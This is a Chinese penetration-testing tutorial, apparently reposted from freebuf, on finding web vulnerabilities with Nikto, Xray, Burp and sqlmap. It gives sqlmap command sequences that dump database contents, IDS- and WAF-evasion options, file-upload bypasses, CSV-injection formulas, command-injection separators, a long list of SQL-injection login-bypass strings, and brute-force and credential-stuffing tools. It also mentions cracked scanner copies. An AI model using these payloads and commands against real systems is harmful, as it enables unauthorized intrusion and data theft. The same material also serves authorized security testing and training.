(最全干货分享)渗透测试全流程归纳总结之四 – 作者:白色的空盒子

获取更多学习资料、想加入社群、深入学习,请扫我的二维码或加Memory20000427。
image
进来先点个赞,评个论,关个注呗~

0x02 漏洞挖掘

1.漏洞扫描工具

注意:登录类网站扫描要带cookies扫才能扫到

1.1Nikto Web服务漏洞扫描器

Tips:利用-Format选项来导出特定格式的扫描结果,使扫描结果更容易阅读和分析。

nikto -host http://example.com -output ~/nikto.html -Format html

NIKTO使用方法:
1、命令:nikto -update #升级,更新插件;
2、Nikto -list-plugins #查看插件;
3、Nikto -host http://1.1.1.1 #扫描目标:域名方式;
4、Nikto -host http://1.1.1.1 -output #扫描并输出结果
5、Nikto -host 1.1.1.1 -port 80 #扫描目标:ip地址加端口号
6、Nikto -host http://www.baidu.com -port 443 -ssl #扫描https网站
7、Nikto -host 文件名.txt #批量扫描目标
8、nmap -p80 192.168.1.0/24 -oG – | nikto -host –
#利用nmap扫描开放80端口的IP段并且oG(nmap结果输出并整理)通过管道的方式
“|”用nikto进行扫描
9、nikto -host 192.168.0.1 -useproxy http://localhost:8070
#利用代理进行扫描
10、-vhost
#当一个网站存在多个端口时可以使用-vhost
遍历所有网站进行扫描或一个ip对应多个网站
11、Nikto交互形参数

配置文件:
路径:/etc/nikto.conf
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本;
在nikto中最好修改成别的浏览器user agent;
设置cookie:
在配置文件中找到cookie进行设置(#STATIC-COOKIE= “cookie1″=”cookie value”;”cookie2″=”cookie val”)

IDS逃避技术:
主要为了躲避IDS、IPS检测告警-evasion #此参数使用方式(Nikto -host http://1.1.1.1 -evasion 1234)
逃避方式共8种:
1、随机url编码,2、自选路径,3、过早结束的URL
4、优先考虑长随机字符串5、参数欺骗
6、使用TAB作为命令的分隔符,7、使用变化的URL
8、使用Windows路径分隔符

1.2AWVS漏扫

这个没什么好说的,破解版到处都是。

1.3NESSUS

实时更新插件的漏扫,很好用,就是激活流程麻烦。
https://www.wuyini.cn/765.html

1.4Xray自动化的漏洞挖掘

burp+xray:
BurpSuite + Xray 被动扫描配置 – Ritte – 博客园
或者直接挂浏览器,点到哪里,扫到哪里
xray+各种漏扫联动

1.5Fuzz

Fuzz可以发现应用程序中没有被引用但是确实是可以访问的页面。
Discover Content是Burp中专门用于此目的的工具。
Burp Intruder也可以通过字典攻击来实施强制浏览(通常是在url参数和文件路径部分进行修改),爆破、注入等。
FuzzDB包含一些用于此目的的非常牛逼的字典。

2.挖掘漏洞

2.1SQL注入:

初步测试:见框就上,加’ ” ) ))% and 1=1 and 1=2 and2-1 or ,
抓包爆破常用SQL注入payload字典,上burp intruder
纯手工注入和手工绕过waf,详见笔记。
通过搜索引擎,批量查找注入点,详见笔记。
然后用傀儡注入点批量搜集工具

实操案例:
sql注入思路(登录界面)和网络常用端口_u011975363的专栏-CSDN博客
超级SQL注入工具(github)

sqlmap一把梭:
注意:命令为kali linux中运行的 (windows中用python sqlmap.py执行)

注入六连:
1.sqlmap -u “http://www.xx.com?id=x” 查询是否存在注入点
2.–dbs 检测站点包含哪些数据库
3.–current-db 获取当前的数据库名
4.–tables -D “db_name” 获取指定数据库中的表名 -D后接指定的数据库名称
5.–columns -T “table_name” -D “db_name” 获取数据库表中的字段
6.–dump -C “columns_name” -T “table_name” -D “db_name”
获取字段的数据内容

COOKIE注入:
sqlmap -u “http://www.xx.com/xxx.asp” –cookie “id=XXX cookie” –level 2 \
cookie注入 后接cookie值

POST注入:
(1)目标地址http:// http://www.xxx.com /login.asp
(2)打开burp代理
(3)点击表单提交
(4)burp获取拦截信息(post)
(5)右键保存文件(.txt)到指定目录下
(6)运行sqlmap并执行如下命令:
用例:sqlmap -r okay.txt -p username
// -r表示加载文件(及步骤(5)保存的路径)
-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)
(7)自动获取表单:–forms自动获取表单
例如:sqlmap -u http://www.xx.com/login.asp –forms
(8)指定参数搜索:–data
例如:sqlmap -u http://www.xx.com/login.asp –data “username=1”

常用指令:

  1. –purge 【重新扫描(–purge 删除原先对该目标扫描的记录)

  2. –tables 【获取表名

  3. –dbs 【检测站点包含哪些数据库

  4. –current-db 【获取当前的数据库名

  5. –current-user 【检测当前用户

  6. –is-dba 【判断站点的当前用户是否为数据库管理员

  7. –batch 【默认确认,不询问你是否输入

  8. –search 【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)

  9. –threads 10 【线程,sqlmap线程最高设置为10
    10.–level 3 【sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头
    的值,
    当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
    11.–risk 3 【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
    12.-v 【详细的等级(0-6)
    0:只显示Python的回溯,错误和关键消息。
    1:显示信息和警告消息。
    2:显示调试消息。
    3:有效载荷注入。
    4:显示HTTP请求。
    5:显示HTTP响应头。
    6:显示HTTP响应页面的内容

  10. –privileges 【查看权限

  11. –tamper xx.py,cc.py 【防火墙绕过,后接tamper库中的py文件

  12. –method “POST” –data “page=1&id=2” 【POST方式提交数据

  13. –threads number  【采用多线程 后接线程数

  14. –referer “” 【使用referer欺骗

  15. –user-agent “” 【自定义user-agent

  16. –proxy “目标地址″ 【使用代理注入

sqlmap常用路径:

  1. 添加表字段的目录在/usr/share/sqlmap/txt/common-tables.txt

  2. 存放扫描记录的目录在/root/.sqlmap/output

高阶玩法:
自己写tamper.py

2.2XSS:

xss漏洞原理分析与挖掘方法 – 知乎
web漏洞 | XSS(跨站攻击脚本)详解
XSS汇总
XSS小结 – 先知社区
2020跨站点脚本[xss]速查表|雨苁
XSSer自动化工具
XSStrike 自动化绕过WAF
xss payload字典 burp爆破 
客服对话系统上XSS打cookie
搭建XSS平台 3s.wf/
http://xssor.io

2.3文件上传

字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder

文件上传绕过总结,详见笔记

目录穿越
上传后如果没有被文件重命名,可以在文件名值做目录跳转
注意一些像目录的参数名
dir path location url
文件头绕过
修改上传类型 Content-Type

双文件上传

截断
长文件名
长Content-Disposition
%00截断
特殊文件
svg / html / htm / swf
xss
pdf
chrome 里可以跳转
cer / asa / spx / php5 / phtml
可能会被当做动态语言解析
.htaccess / .user.ini / web.config / web.xml
修改解析规则
.xls / .xlsx
POI Excel XXE
.tar / .tar.gz / .zip
可能存在文件释放目录跳转问题
.pkl
python反序列化文件
.xml
可能有 XXE
.yaml / .yml
YAML 反序列化
.jar / .class
上传到 java classpath 的目录下,类被加载时执行代码
无大小和次数限制
无限上传制造垃圾数据堵死硬盘
有图片加工的地方可以注意一下imagemagick命令执行

文件读取
读取系统敏感文件
文件包含
可读取文件或代码执行
文件删除
删除配置文件可破坏网站
删除安装锁可重装
文件解压
如果上传文件为 tar / tar.gz 类型,可以尝试构压缩包内文件名为../../../../xxx 的tar包
文件导出
如果是CSV 或者 Excel可以注意一下CSV注入
=2222-1
-1+1=2222-1
@=2222-1
\r\n=2222-1
111,=2222-1,

2.4命令执行

命令注入
–xxxx 参数注入
| 和 | | 与符号
& 和 && 与符号
; 分号
${}

代码执行
表达式
freemarker
OGNL
Spel
jsel
非表达式(php)
eval
assert
call_user_func() / call_user_func_array()
preg_replace()
create_function()
array_map()
array_filter()
usort() / uasort()
反序列化
php 源文件拼接写入
java
反序列化
远程 jar 加载
反射机制
jsp 源文件拼接写入

2.5弱口令及字典破解

后台弱口令爆破撞库
(尝试万能密码、特定资产常用密码、弱口令后再撞库、有的数据库要输对用户名再注释
我的github有收集的字典 https://github.com/hackerX2021)

asp aspx万能密码
1: "or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6: "or 1=1--
7:'or'a'='a
8: "or"="a'='a
9:'or''='
10:'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00
15: 'xor
16: 新型万能登陆密码

用户名 ' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)
密码 1
Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
Password=1

17..admin' or 'a'='a 密码随便


PHP万能密码

'or'='or'

'or 1=1/* 字符型 GPC是否开都可以使用

User: something
Pass: ' OR '1'='1

jsp 万能密码

1'or'1'='1

admin' OR 1=1/*

用户名:admin 系统存在这个用户的时候 才用得上
密码:1'or'1'='1
pydictor、cupp、crunch字典生成工具、自写字典生成py(小黑的人名字典py);
dymerge字典合并去重工具、自己写去重py;hydra爆破工具

tips:
超级弱口令检验工具
burpsuite 爆破
使用弱用户名对密码进行暴力破解
使用弱口令密码对用户名进行暴力破解

来源:freebuf.com 2021-04-19 23:34:09 by: 白色的空盒子

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论